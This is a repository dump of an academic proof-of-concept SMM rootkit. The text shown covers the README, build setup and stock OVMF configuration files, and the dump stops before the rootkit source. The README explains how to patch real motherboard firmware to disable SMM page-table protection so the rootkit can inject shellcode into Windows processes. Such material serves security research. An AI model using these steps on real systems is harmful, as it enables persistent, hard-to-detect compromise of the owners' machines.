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Repository: jussihi/SMM-Rootkit
Branch: master
Commit: 1ac885f1cd14
Files: 40
Total size: 281.7 KB
Directory structure:
gitextract_y9b5pqko/
├── .gitignore
├── Dockerfile
├── LICENSE
├── README.md
├── SMM Rootkit/
│ ├── Conf/
│ │ └── target.txt
│ ├── OvmfPkg/
│ │ ├── OvmfPkgX64.dsc
│ │ └── OvmfPkgX64.fdf
│ ├── SMMRootkit/
│ │ ├── .gitignore
│ │ ├── MemManager.c
│ │ ├── MemManager.h
│ │ ├── Memory.c
│ │ ├── Memory.h
│ │ ├── MemoryMapUEFI.c
│ │ ├── MemoryMapUEFI.h
│ │ ├── SMMRootkit.c
│ │ ├── SMMRootkit.inf
│ │ ├── TimerRTC.c
│ │ ├── TimerRTC.h
│ │ ├── WinTools.c
│ │ ├── WinTools.h
│ │ ├── WinUmdIATHook.c
│ │ ├── WinUmdIATHook.h
│ │ ├── helpers.asm
│ │ ├── serial.c
│ │ ├── serial.h
│ │ ├── string.c
│ │ ├── string.h
│ │ └── windows.h
│ └── UefiCpuPkg/
│ ├── PiSmmCpuDxeSmm/
│ │ └── X64/
│ │ └── PageTbl.c
│ └── UefiCpuPkg.dec
├── run_docker.sh
├── shellcode/
│ └── windows_x64_umd_iat/
│ ├── README.md
│ ├── windows_x64_umd_iat.asm
│ └── windows_x64_umd_iat.c
└── target_tests/
└── windows_x64_umd_iat/
├── .gitignore
├── README.md
├── windows_x64_umd_iat/
│ ├── windows_x64_umd_iat.cpp
│ ├── windows_x64_umd_iat.vcxproj
│ └── windows_x64_umd_iat.vcxproj.filters
└── windows_x64_umd_iat.sln
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
edk2/*
================================================
FILE: Dockerfile
================================================
FROM ubuntu:16.04
MAINTAINER Jussi Hietanen
RUN \
apt-get update && \
apt-get -y install ccache build-essential python python-pip qemu sudo nano libgcc-5-dev uuid-dev nasm iasl git wget zip xorg-dev p7zip-full
================================================
FILE: LICENSE
================================================
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above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.
================================================
FILE: README.md
================================================
# SMM Rootkit
## Table of contents
- [Repository Contents](#repository-contents)
* [SMM Rootkit](#smm-rootkit-1)
* [shellcode](#shellcode)
* [target_tests](#target_tests)
- [Compiling](#compiling)
* [First time setup](#first-time-setup)
* [Building](#building)
- [Running the OVMF inside QEMU/KVM](#running-the-ovmf-inside-qemukvm)
* [VM setup](#vm-setup)
* [Running](#running)
- [FAQ](#faq)
* [How to patch PiSmmCpuDxeSmm](#how-to-patch-pismmcpudxesmm)
* [No serial output after boot](#no-serial-output-after-boot)
## Intro
This System Management Mode (SMM) rootkit is a PoC to demonstrate how injecting shellcode to a ring0/ring3 context can be achieved from the SMM.
If you want to read about SMM rootkits in general and about how this SMM rootkit was implemented, please read my recent [blog post](https://jussihi.kapsi.fi/2022-09-08-smmrootkit/) about it! Also please check our newest SMM-related project, [Hermes](https://github.com/pRain1337/Hermes), which enables SMM-level privilege escalation with interactive usermode application!
Created by Jussi Hietanen (Aalto University, Espoo FI) and Diego Caminada (HF-ICT, Muttenz CH).
## Repository Contents
#### SMM Rootkit
This folder contains the files & folders to be copied to the edk2 root dir to compile the SMM Rootkit with the rest of the OVMF. It includes ready-made configuration files and modified source files to allow the rootkit to access the whole 64-bit memory address space with on-demand paging.
#### shellcode
Contains shellcode to be generated for the SMM rootkit. This shellcode is then injected from the SMM to whatever process/operating system is targeted. You can read more about different types of attacks from their subfolders. Currently there is only Windows x64 usermode IAT hooking, but more should be added!
#### target_tests
Contains test programs to test the Rootkit functionality. For more information, check the subfolders' readmes.
## Compiling
### First time setup
Skip to "Building" if you have done the first-time setup already.
1. Clone the EDK2 inside this repo and checkout the right tag (vUDK2018, see step 3 for why this tag).
```
$ git clone git@github.com:tianocore/edk2.git
$ cd edk2
$ git checkout vUDK2018
```
2. Start docker build env and setup BaseTools
```
# ./run_docker.sh
```
Inside docker,
```
# cd edk2
# make -C BaseTools
# . edksetup.sh
```
3. Exit docker, and copy the contents of SMM Rootkit folder to edk2 folder **(It is important to use the tag vUDK2018, otherwise the ready-patched files inside the SMM Rootkit folder won't match and the OVMF may not build successfully)**, in repo root run
```
# cp -r SMM\ Rootkit/* edk2/
```
First time setup is done!
### Building
Run
```
# ./run_docker.sh
```
Then, inside the docker,
```
# cd edk2
# . edksetup.sh
# build -DSMM_REQUIRE
```
The resulting OVMF firmware will be inside `edk2/Build/OvmfX64/RELEASE_GCC5/FV`.
## Running the OVMF inside QEMU/KVM
### VM Setup
Needed packages:
```
qemu libvirt virt-manager ebtables dnsmasq
```
For qemu to show the custom OVMF binary, you need to create a file `/usr/share/qemu/firmware/60-ovmf-rootkit-x86_64.json` and inside it add our FV entry:
```
{
"description": "UEFI SMM rootkit OVMF firmware for x86_64",
"interface-types": [
"uefi"
],
"mapping": {
"device": "flash",
"executable": {
"filename": "/your/path/to-git/SMM-Rootkit/edk2/Build/OvmfX64/RELEASE_GCC5/FV/OVMF_CODE.fd",
"format": "raw"
},
"nvram-template": {
"filename": "/your/path/to-git/SMM-Rootkit/edk2/Build/OvmfX64/RELEASE_GCC5/FV/OVMF_VARS.fd",
"format": "raw"
}
},
"targets": [
{
"architecture": "x86_64",
"machines": [
"pc-i440fx-*",
"pc-q35-*"
]
}
],
"features": [
"acpi-s3",
"amd-sev",
"verbose-dynamic"
],
"tags": [
]
}
```
Now you may create a new virtual machine. During setup, in the last state, check the box "Customize configuration before install" before clicking "Finish". From the next window, change the Firmware to the *UEFI SMM rootkit OVMF firmware for x86_64* configured earlier.
### Running
To start the vm, enable service `libvirtd` and enable default network;
```
# virsh net-start default
```
To check the serial output (the VM must be powered on)
```
# virsh list
/* win10 is the name of the libvirt instance */
# virsh console win10
```
## FAQ
### How to patch PiSmmCpuDxeSmm
If you are trying to run this SMM rootkit on real hardware, you need to patch your motherboard's `PiSmmCpuDxeSmm` module from the UEFI firmware. You can mimick [our patch](https://github.com/jussihi/SMM-Rootkit/tree/master/SMM%20Rootkit/UefiCpuPkg) by
Patching this variable initialization out and hard code the variable itself to 0 with your favorite disassembler (IDA or similar):
https://github.com/tianocore/edk2/blob/master/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c#L352
Easiest way to find that function (SmmInitPageTable) is to search for the strings of the error messages:
https://github.com/tianocore/edk2/blob/master/UefiCpuPkg/Library/CpuExceptionHandlerLib/X64/ArchExceptionHandler.c#L265
Which is referenced multiple times in the SMI Page fault handler:
https://github.com/tianocore/edk2/blob/master/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c#L1003
And the page fault handler is initialized in the same function as the variable initialization (SmmInitPageTable):
https://github.com/tianocore/edk2/blob/master/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c#L442
### No serial output after boot
Sometimes the serial traffic is blocked as the operating system's own serial driver. This is at least the case in Windows systems when not booting inside a (QEMU/KVM) virtual machine.
#### There are two ways to get serial working on this sort of situation:
- Block the Operating System from loading the driver.
On GNU+Linux, you can disable the driver completely if one is loaded. On Windows systems, you might need to rename/delete the system's serial driver. The default path to the driver executable is `C:\Windows\System32\drivers\serial.sys`
- Open an SSH client locally
You can also open the connection to the local serial port using your favorite serial client. At least on Windows this will prevent Windows' own driver from suppressing the serial output.
================================================
FILE: SMM Rootkit/Conf/target.txt
================================================
#
# Copyright (c) 2006 - 2018, Intel Corporation. All rights reserved.<BR>
#
# This program and the accompanying materials
# are licensed and made available under the terms and conditions of the BSD License
# which accompanies this distribution. The full text of the license may be found at
# http://opensource.org/licenses/bsd-license.php
# THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
# WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
#
#
# ALL Paths are Relative to WORKSPACE
# Separate multiple LIST entries with a SINGLE SPACE character, do not use comma characters.
# Un-set an option by either commenting out the line, or not setting a value.
#
# PROPERTY Type Use Description
# ---------------- -------- -------- -----------------------------------------------------------
# ACTIVE_PLATFORM Filename Recommended Specify the WORKSPACE relative Path and Filename
# of the platform description file that will be used for the
# build. This line is required if and only if the current
# working directory does not contain one or more description
# files.
ACTIVE_PLATFORM = OvmfPkg/OvmfPkgX64.dsc
# TARGET List Optional Zero or more of the following: DEBUG, RELEASE, NOOPT
# UserDefined; separated by a space character.
# If the line is missing or no value is specified, all
# valid targets specified in the platform description file
# will attempt to be built. The following line will build
# DEBUG platform target.
TARGET = RELEASE
# TARGET_ARCH List Optional What kind of architecture is the binary being target for.
# One, or more, of the following, IA32, IPF, X64, EBC, ARM
# or AArch64.
# Multiple values can be specified on a single line, using
# space charaters to separate the values. These are used
# during the parsing of a platform description file,
# restricting the build output target(s.)
# The Build Target ARCH is determined by (precedence high to low):
# Command-line: -a ARCH option
# target.txt: TARGET_ARCH values
# DSC file: [Defines] SUPPORTED_ARCHITECTURES tag
# If not specified, then all valid architectures specified
# in the platform file, for which tools are available, will be
# built.
TARGET_ARCH = X64
# TOOL_DEFINITION_FILE Filename Optional Specify the name of the filename to use for specifying
# the tools to use for the build. If not specified,
# WORKSPACE/Conf/tools_def.txt will be used for the build.
TOOL_CHAIN_CONF = Conf/tools_def.txt
# TAGNAME List Optional Specify the name(s) of the tools_def.txt TagName to use.
# If not specified, all applicable TagName tools will be
# used for the build. The list uses space character separation.
TOOL_CHAIN_TAG = GCC5
# MAX_CONCURRENT_THREAD_NUMBER NUMBER Optional The number of concurrent threads. If not specified or set
# to zero, tool automatically detect number of processor
# threads. Recommend to set this value to one less than the
# number of your computer cores or CPUs. When value set to 1,
# means disable multi-thread build, value set to more than 1,
# means user specify the thread number to build. Not specify
# the default value in this file.
# MAX_CONCURRENT_THREAD_NUMBER = 1
# BUILD_RULE_CONF Filename Optional Specify the file name to use for the build rules that are followed
# when generating Makefiles. If not specified, the file:
# WORKSPACE/Conf/build_rule.txt will be used
BUILD_RULE_CONF = Conf/build_rule.txt
================================================
FILE: SMM Rootkit/OvmfPkg/OvmfPkgX64.dsc
================================================
## @file
# EFI/Framework Open Virtual Machine Firmware (OVMF) platform
#
# Copyright (c) 2006 - 2018, Intel Corporation. All rights reserved.<BR>
# (C) Copyright 2016 Hewlett Packard Enterprise Development LP<BR>
#
# This program and the accompanying materials
# are licensed and made available under the terms and conditions of the BSD License
# which accompanies this distribution. The full text of the license may be found at
# http://opensource.org/licenses/bsd-license.php
#
# THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
# WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
#
##
################################################################################
#
# Defines Section - statements that will be processed to create a Makefile.
#
################################################################################
[Defines]
PLATFORM_NAME = Ovmf
PLATFORM_GUID = 5a9e7754-d81b-49ea-85ad-69eaa7b1539b
PLATFORM_VERSION = 0.1
DSC_SPECIFICATION = 0x00010005
OUTPUT_DIRECTORY = Build/OvmfX64
SUPPORTED_ARCHITECTURES = X64
BUILD_TARGETS = NOOPT|DEBUG|RELEASE
SKUID_IDENTIFIER = DEFAULT
FLASH_DEFINITION = OvmfPkg/OvmfPkgX64.fdf
#
# Defines for default states. These can be changed on the command line.
# -D FLAG=VALUE
#
DEFINE SECURE_BOOT_ENABLE = FALSE
DEFINE NETWORK_IP6_ENABLE = FALSE
DEFINE HTTP_BOOT_ENABLE = FALSE
DEFINE SMM_REQUIRE = FALSE
DEFINE TLS_ENABLE = FALSE
#
# Flash size selection. Setting FD_SIZE_IN_KB on the command line directly to
# one of the supported values, in place of any of the convenience macros, is
# permitted.
#
!ifdef $(FD_SIZE_1MB)
DEFINE FD_SIZE_IN_KB = 1024
!else
!ifdef $(FD_SIZE_2MB)
DEFINE FD_SIZE_IN_KB = 2048
!else
!ifdef $(FD_SIZE_4MB)
DEFINE FD_SIZE_IN_KB = 4096
!else
DEFINE FD_SIZE_IN_KB = 4096
!endif
!endif
!endif
[BuildOptions]
GCC:*_UNIXGCC_*_CC_FLAGS = -DMDEPKG_NDEBUG
GCC:RELEASE_*_*_CC_FLAGS = -DMDEPKG_NDEBUG
INTEL:RELEASE_*_*_CC_FLAGS = /D MDEPKG_NDEBUG
MSFT:RELEASE_*_*_CC_FLAGS = /D MDEPKG_NDEBUG
!if $(TOOL_CHAIN_TAG) != "XCODE5"
GCC:*_*_*_CC_FLAGS = -mno-mmx -mno-sse
!endif
!ifdef $(SOURCE_DEBUG_ENABLE)
MSFT:*_*_X64_GENFW_FLAGS = --keepexceptiontable
GCC:*_*_X64_GENFW_FLAGS = --keepexceptiontable
INTEL:*_*_X64_GENFW_FLAGS = --keepexceptiontable
!endif
#
# Disable deprecated APIs.
#
MSFT:*_*_*_CC_FLAGS = /D DISABLE_NEW_DEPRECATED_INTERFACES
INTEL:*_*_*_CC_FLAGS = /D DISABLE_NEW_DEPRECATED_INTERFACES
GCC:*_*_*_CC_FLAGS = -D DISABLE_NEW_DEPRECATED_INTERFACES
[BuildOptions.common.EDKII.DXE_RUNTIME_DRIVER]
GCC:*_*_*_DLINK_FLAGS = -z common-page-size=0x1000
XCODE:*_*_*_DLINK_FLAGS =
# Force PE/COFF sections to be aligned at 4KB boundaries to support page level
# protection of DXE_SMM_DRIVER/SMM_CORE modules
[BuildOptions.common.EDKII.DXE_SMM_DRIVER, BuildOptions.common.EDKII.SMM_CORE]
GCC:*_*_*_DLINK_FLAGS = -z common-page-size=0x1000
XCODE:*_*_*_DLINK_FLAGS =
################################################################################
#
# SKU Identification section - list of all SKU IDs supported by this Platform.
#
################################################################################
[SkuIds]
0|DEFAULT
################################################################################
#
# Library Class section - list of all Library Classes needed by this Platform.
#
################################################################################
[LibraryClasses]
PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf
TimerLib|OvmfPkg/Library/AcpiTimerLib/BaseAcpiTimerLib.inf
PrintLib|MdePkg/Library/BasePrintLib/BasePrintLib.inf
BaseMemoryLib|MdePkg/Library/BaseMemoryLibRepStr/BaseMemoryLibRepStr.inf
BaseLib|MdePkg/Library/BaseLib/BaseLib.inf
SynchronizationLib|MdePkg/Library/BaseSynchronizationLib/BaseSynchronizationLib.inf
CpuLib|MdePkg/Library/BaseCpuLib/BaseCpuLib.inf
PerformanceLib|MdePkg/Library/BasePerformanceLibNull/BasePerformanceLibNull.inf
PeCoffLib|MdePkg/Library/BasePeCoffLib/BasePeCoffLib.inf
CacheMaintenanceLib|MdePkg/Library/BaseCacheMaintenanceLib/BaseCacheMaintenanceLib.inf
UefiDecompressLib|MdePkg/Library/BaseUefiDecompressLib/BaseUefiDecompressLib.inf
UefiHiiServicesLib|MdeModulePkg/Library/UefiHiiServicesLib/UefiHiiServicesLib.inf
HiiLib|MdeModulePkg/Library/UefiHiiLib/UefiHiiLib.inf
SortLib|MdeModulePkg/Library/UefiSortLib/UefiSortLib.inf
UefiBootManagerLib|MdeModulePkg/Library/UefiBootManagerLib/UefiBootManagerLib.inf
BootLogoLib|MdeModulePkg/Library/BootLogoLib/BootLogoLib.inf
FileExplorerLib|MdeModulePkg/Library/FileExplorerLib/FileExplorerLib.inf
CapsuleLib|MdeModulePkg/Library/DxeCapsuleLibNull/DxeCapsuleLibNull.inf
DxeServicesLib|MdePkg/Library/DxeServicesLib/DxeServicesLib.inf
DxeServicesTableLib|MdePkg/Library/DxeServicesTableLib/DxeServicesTableLib.inf
PeCoffGetEntryPointLib|MdePkg/Library/BasePeCoffGetEntryPointLib/BasePeCoffGetEntryPointLib.inf
PciCf8Lib|MdePkg/Library/BasePciCf8Lib/BasePciCf8Lib.inf
PciExpressLib|MdePkg/Library/BasePciExpressLib/BasePciExpressLib.inf
PciLib|MdePkg/Library/BasePciLibCf8/BasePciLibCf8.inf
PciSegmentLib|MdePkg/Library/BasePciSegmentLibPci/BasePciSegmentLibPci.inf
IoLib|MdePkg/Library/BaseIoLibIntrinsic/BaseIoLibIntrinsicSev.inf
OemHookStatusCodeLib|MdeModulePkg/Library/OemHookStatusCodeLibNull/OemHookStatusCodeLibNull.inf
SerialPortLib|PcAtChipsetPkg/Library/SerialIoLib/SerialIoLib.inf
MtrrLib|UefiCpuPkg/Library/MtrrLib/MtrrLib.inf
UefiLib|MdePkg/Library/UefiLib/UefiLib.inf
UefiBootServicesTableLib|MdePkg/Library/UefiBootServicesTableLib/UefiBootServicesTableLib.inf
UefiRuntimeServicesTableLib|MdePkg/Library/UefiRuntimeServicesTableLib/UefiRuntimeServicesTableLib.inf
UefiDriverEntryPoint|MdePkg/Library/UefiDriverEntryPoint/UefiDriverEntryPoint.inf
UefiApplicationEntryPoint|MdePkg/Library/UefiApplicationEntryPoint/UefiApplicationEntryPoint.inf
DevicePathLib|MdePkg/Library/UefiDevicePathLibDevicePathProtocol/UefiDevicePathLibDevicePathProtocol.inf
NvVarsFileLib|OvmfPkg/Library/NvVarsFileLib/NvVarsFileLib.inf
FileHandleLib|MdePkg/Library/UefiFileHandleLib/UefiFileHandleLib.inf
UefiCpuLib|UefiCpuPkg/Library/BaseUefiCpuLib/BaseUefiCpuLib.inf
SecurityManagementLib|MdeModulePkg/Library/DxeSecurityManagementLib/DxeSecurityManagementLib.inf
NetLib|MdeModulePkg/Library/DxeNetLib/DxeNetLib.inf
IpIoLib|MdeModulePkg/Library/DxeIpIoLib/DxeIpIoLib.inf
UdpIoLib|MdeModulePkg/Library/DxeUdpIoLib/DxeUdpIoLib.inf
DpcLib|MdeModulePkg/Library/DxeDpcLib/DxeDpcLib.inf
UefiUsbLib|MdePkg/Library/UefiUsbLib/UefiUsbLib.inf
SerializeVariablesLib|OvmfPkg/Library/SerializeVariablesLib/SerializeVariablesLib.inf
QemuFwCfgLib|OvmfPkg/Library/QemuFwCfgLib/QemuFwCfgDxeLib.inf
VirtioLib|OvmfPkg/Library/VirtioLib/VirtioLib.inf
LoadLinuxLib|OvmfPkg/Library/LoadLinuxLib/LoadLinuxLib.inf
MemEncryptSevLib|OvmfPkg/Library/BaseMemEncryptSevLib/BaseMemEncryptSevLib.inf
!if $(SMM_REQUIRE) == FALSE
LockBoxLib|OvmfPkg/Library/LockBoxLib/LockBoxBaseLib.inf
!endif
CustomizedDisplayLib|MdeModulePkg/Library/CustomizedDisplayLib/CustomizedDisplayLib.inf
FrameBufferBltLib|MdeModulePkg/Library/FrameBufferBltLib/FrameBufferBltLib.inf
!ifdef $(SOURCE_DEBUG_ENABLE)
PeCoffExtraActionLib|SourceLevelDebugPkg/Library/PeCoffExtraActionLibDebug/PeCoffExtraActionLibDebug.inf
DebugCommunicationLib|SourceLevelDebugPkg/Library/DebugCommunicationLibSerialPort/DebugCommunicationLibSerialPort.inf
!else
PeCoffExtraActionLib|MdePkg/Library/BasePeCoffExtraActionLibNull/BasePeCoffExtraActionLibNull.inf
DebugAgentLib|MdeModulePkg/Library/DebugAgentLibNull/DebugAgentLibNull.inf
!endif
ResetSystemLib|OvmfPkg/Library/ResetSystemLib/ResetSystemLib.inf
LocalApicLib|UefiCpuPkg/Library/BaseXApicX2ApicLib/BaseXApicX2ApicLib.inf
DebugPrintErrorLevelLib|MdePkg/Library/BaseDebugPrintErrorLevelLib/BaseDebugPrintErrorLevelLib.inf
IntrinsicLib|CryptoPkg/Library/IntrinsicLib/IntrinsicLib.inf
!if $(TLS_ENABLE) == TRUE
OpensslLib|CryptoPkg/Library/OpensslLib/OpensslLib.inf
!else
OpensslLib|CryptoPkg/Library/OpensslLib/OpensslLibCrypto.inf
!endif
!if $(SECURE_BOOT_ENABLE) == TRUE
PlatformSecureLib|OvmfPkg/Library/PlatformSecureLib/PlatformSecureLib.inf
TpmMeasurementLib|SecurityPkg/Library/DxeTpmMeasurementLib/DxeTpmMeasurementLib.inf
AuthVariableLib|SecurityPkg/Library/AuthVariableLib/AuthVariableLib.inf
!else
TpmMeasurementLib|MdeModulePkg/Library/TpmMeasurementLibNull/TpmMeasurementLibNull.inf
AuthVariableLib|MdeModulePkg/Library/AuthVariableLibNull/AuthVariableLibNull.inf
!endif
VarCheckLib|MdeModulePkg/Library/VarCheckLib/VarCheckLib.inf
!if $(NETWORK_IP6_ENABLE) == TRUE
TcpIoLib|MdeModulePkg/Library/DxeTcpIoLib/DxeTcpIoLib.inf
!endif
!if $(HTTP_BOOT_ENABLE) == TRUE
HttpLib|MdeModulePkg/Library/DxeHttpLib/DxeHttpLib.inf
!endif
!if $(TLS_ENABLE) == TRUE
TlsLib|CryptoPkg/Library/TlsLib/TlsLib.inf
!endif
ShellLib|ShellPkg/Library/UefiShellLib/UefiShellLib.inf
S3BootScriptLib|MdeModulePkg/Library/PiDxeS3BootScriptLib/DxeS3BootScriptLib.inf
SmbusLib|MdePkg/Library/BaseSmbusLibNull/BaseSmbusLibNull.inf
OrderedCollectionLib|MdePkg/Library/BaseOrderedCollectionRedBlackTreeLib/BaseOrderedCollectionRedBlackTreeLib.inf
XenHypercallLib|OvmfPkg/Library/XenHypercallLib/XenHypercallLib.inf
[LibraryClasses.common]
BaseCryptLib|CryptoPkg/Library/BaseCryptLib/BaseCryptLib.inf
[LibraryClasses.common.SEC]
TimerLib|OvmfPkg/Library/AcpiTimerLib/BaseRomAcpiTimerLib.inf
QemuFwCfgLib|OvmfPkg/Library/QemuFwCfgLib/QemuFwCfgSecLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformRomDebugLibIoPort.inf
!endif
ReportStatusCodeLib|MdeModulePkg/Library/PeiReportStatusCodeLib/PeiReportStatusCodeLib.inf
ExtractGuidedSectionLib|MdePkg/Library/BaseExtractGuidedSectionLib/BaseExtractGuidedSectionLib.inf
!ifdef $(SOURCE_DEBUG_ENABLE)
DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/SecPeiDebugAgentLib.inf
!endif
HobLib|MdePkg/Library/PeiHobLib/PeiHobLib.inf
PeiServicesLib|MdePkg/Library/PeiServicesLib/PeiServicesLib.inf
PeiServicesTablePointerLib|MdePkg/Library/PeiServicesTablePointerLibIdt/PeiServicesTablePointerLibIdt.inf
MemoryAllocationLib|MdePkg/Library/PeiMemoryAllocationLib/PeiMemoryAllocationLib.inf
CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/SecPeiCpuExceptionHandlerLib.inf
[LibraryClasses.common.PEI_CORE]
HobLib|MdePkg/Library/PeiHobLib/PeiHobLib.inf
PeiServicesTablePointerLib|MdePkg/Library/PeiServicesTablePointerLibIdt/PeiServicesTablePointerLibIdt.inf
PeiServicesLib|MdePkg/Library/PeiServicesLib/PeiServicesLib.inf
MemoryAllocationLib|MdePkg/Library/PeiMemoryAllocationLib/PeiMemoryAllocationLib.inf
PeiCoreEntryPoint|MdePkg/Library/PeiCoreEntryPoint/PeiCoreEntryPoint.inf
ReportStatusCodeLib|MdeModulePkg/Library/PeiReportStatusCodeLib/PeiReportStatusCodeLib.inf
OemHookStatusCodeLib|MdeModulePkg/Library/OemHookStatusCodeLibNull/OemHookStatusCodeLibNull.inf
PeCoffGetEntryPointLib|MdePkg/Library/BasePeCoffGetEntryPointLib/BasePeCoffGetEntryPointLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
PeCoffLib|MdePkg/Library/BasePeCoffLib/BasePeCoffLib.inf
[LibraryClasses.common.PEIM]
HobLib|MdePkg/Library/PeiHobLib/PeiHobLib.inf
PeiServicesTablePointerLib|MdePkg/Library/PeiServicesTablePointerLibIdt/PeiServicesTablePointerLibIdt.inf
PeiServicesLib|MdePkg/Library/PeiServicesLib/PeiServicesLib.inf
MemoryAllocationLib|MdePkg/Library/PeiMemoryAllocationLib/PeiMemoryAllocationLib.inf
PeimEntryPoint|MdePkg/Library/PeimEntryPoint/PeimEntryPoint.inf
ReportStatusCodeLib|MdeModulePkg/Library/PeiReportStatusCodeLib/PeiReportStatusCodeLib.inf
OemHookStatusCodeLib|MdeModulePkg/Library/OemHookStatusCodeLibNull/OemHookStatusCodeLibNull.inf
PeCoffGetEntryPointLib|MdePkg/Library/BasePeCoffGetEntryPointLib/BasePeCoffGetEntryPointLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
PeCoffLib|MdePkg/Library/BasePeCoffLib/BasePeCoffLib.inf
PeiResourcePublicationLib|MdePkg/Library/PeiResourcePublicationLib/PeiResourcePublicationLib.inf
ExtractGuidedSectionLib|MdePkg/Library/PeiExtractGuidedSectionLib/PeiExtractGuidedSectionLib.inf
!ifdef $(SOURCE_DEBUG_ENABLE)
DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/SecPeiDebugAgentLib.inf
!endif
CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/PeiCpuExceptionHandlerLib.inf
MpInitLib|UefiCpuPkg/Library/MpInitLib/PeiMpInitLib.inf
QemuFwCfgS3Lib|OvmfPkg/Library/QemuFwCfgS3Lib/PeiQemuFwCfgS3LibFwCfg.inf
PcdLib|MdePkg/Library/PeiPcdLib/PeiPcdLib.inf
QemuFwCfgLib|OvmfPkg/Library/QemuFwCfgLib/QemuFwCfgPeiLib.inf
[LibraryClasses.common.DXE_CORE]
HobLib|MdePkg/Library/DxeCoreHobLib/DxeCoreHobLib.inf
DxeCoreEntryPoint|MdePkg/Library/DxeCoreEntryPoint/DxeCoreEntryPoint.inf
MemoryAllocationLib|MdeModulePkg/Library/DxeCoreMemoryAllocationLib/DxeCoreMemoryAllocationLib.inf
ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
ExtractGuidedSectionLib|MdePkg/Library/DxeExtractGuidedSectionLib/DxeExtractGuidedSectionLib.inf
!ifdef $(SOURCE_DEBUG_ENABLE)
DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/DxeDebugAgentLib.inf
!endif
CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/DxeCpuExceptionHandlerLib.inf
PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
[LibraryClasses.common.DXE_RUNTIME_DRIVER]
PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf
HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf
DxeCoreEntryPoint|MdePkg/Library/DxeCoreEntryPoint/DxeCoreEntryPoint.inf
MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf
ReportStatusCodeLib|MdeModulePkg/Library/RuntimeDxeReportStatusCodeLib/RuntimeDxeReportStatusCodeLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
UefiRuntimeLib|MdePkg/Library/UefiRuntimeLib/UefiRuntimeLib.inf
BaseCryptLib|CryptoPkg/Library/BaseCryptLib/RuntimeCryptLib.inf
PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf
